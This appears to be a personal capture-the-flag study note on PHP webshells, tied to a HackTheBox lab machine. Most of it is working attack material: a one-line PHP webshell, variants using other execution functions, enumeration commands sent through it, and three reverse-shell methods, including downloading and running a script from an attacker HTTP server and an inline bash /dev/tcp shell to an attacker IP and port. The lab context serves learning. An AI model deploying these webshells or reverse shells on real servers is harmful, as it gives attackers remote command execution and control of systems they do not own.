Skip to content

🐚 Php Webshell

A PHP webshell is a script that executes system commands via HTTP parameters. It's the simplest and most common post-exploitation technique when you have file upload capabilities on a PHP server. This guide covers what we've practiced.


Quickstart β€” One-Liner Webshell

# Create the webshell
$ echo '<?php system($_GET["cmd"]); ?>' > file.php

# Upload it (FTP, S3, file upload form, etc.)
# Then execute commands:
$ curl 'http://target.htb/file.php?cmd=whoami'
www-data

$ curl 'http://target.htb/file.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP Execution Functions

Function Behavior Best for
system() Executes command, prints output directly Default choice β€” simplest
exec() Executes command, returns last line as string When you need to capture output in a variable
shell_exec() Executes command, returns full output as string When piping output to another command
passthru() Executes command, prints raw binary output Binary data, large dumps
// All functionally equivalent for CTF use:
<?php system($_GET["cmd"]); ?>
<?php echo shell_exec($_GET["cmd"]); ?>
<?php passthru($_GET["cmd"]); ?>

URL Encoding β€” Making Commands Work

Spaces and special characters in URLs must be encoded. Common encodings:

Character URL-encoded Example
Space %20 ls%20-la
/ %2F rarely needed
| (pipe) %7C curl%20url%7Cbash
& %26 ls%20%26%26%20whoami
; %3B cmd1%3Bcmd2
# Raw command
$ curl 'http://target.htb/file.php?cmd=ls -la ..'

# Same command, URL-encoded
$ curl 'http://target.htb/file.php?cmd=ls%20-la%20..'

πŸ’‘ curl handles spaces in URLs, but pipes (|) and ampersands (&) must be encoded or escaped in bash. Use %7C for pipes or wrap the URL in single quotes and escape with \.


Common Enumeration Commands

# Who are we?
cmd=whoami

# What's in the web root?
cmd=ls%20-la

# What's one level up? (flags are often in /var/www/)
cmd=ls%20-la%20..

# Find flag files
cmd=find%20/%20-name%20flag*%202>/dev/null

# Read the flag
cmd=cat%20../flag.txt

Reverse Shell Upgrade

Once you confirm command execution, upgrade to a reverse shell:

Method 1 β€” Download + Execute (no pipes)

# Attacker: host the reverse shell
$ echo '#!/bin/bash' > shell.sh
$ echo 'bash -i >& /dev/tcp/10.10.14.128/1337 0>&1' >> shell.sh
$ python3 -m http.server 8000

# Attacker: start listener
$ nc -nvlp 1337

# Target: download the script
$ curl 'http://target.htb/file.php?cmd=curl%20http://10.10.14.128:8000/shell.sh%20-o%20/tmp/s.sh'

# Target: execute it
$ curl 'http://target.htb/file.php?cmd=bash%20/tmp/s.sh'

Method 2 β€” Pipe (one request, if the pipe works)

# Using semicolons instead of pipes (more reliable with system())
cmd=curl%20http://10.10.14.128:8000/shell.sh%20-o%20/tmp/s.sh;bash%20/tmp/s.sh

Method 3 β€” Inline reverse shell (no HTTP server needed)

cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.14.128/1337%200>%261'

Troubleshooting

Symptom Fix
Pipe (|) doesn't work Use semicolons (;) or download + execute in two steps
system() blocked Try shell_exec(), exec(), or passthru()
Commands not executing Check PHP is parsing the file (.php extension, correct directory)
No output Some functions buffer output β€” try system() or add 2>&1

Machines: [[πŸ₯‰ Three]]

Guides: [[☁️ AWS S3]], [[🎯 ffuf]], [[πŸ’£ Gobuster]]


References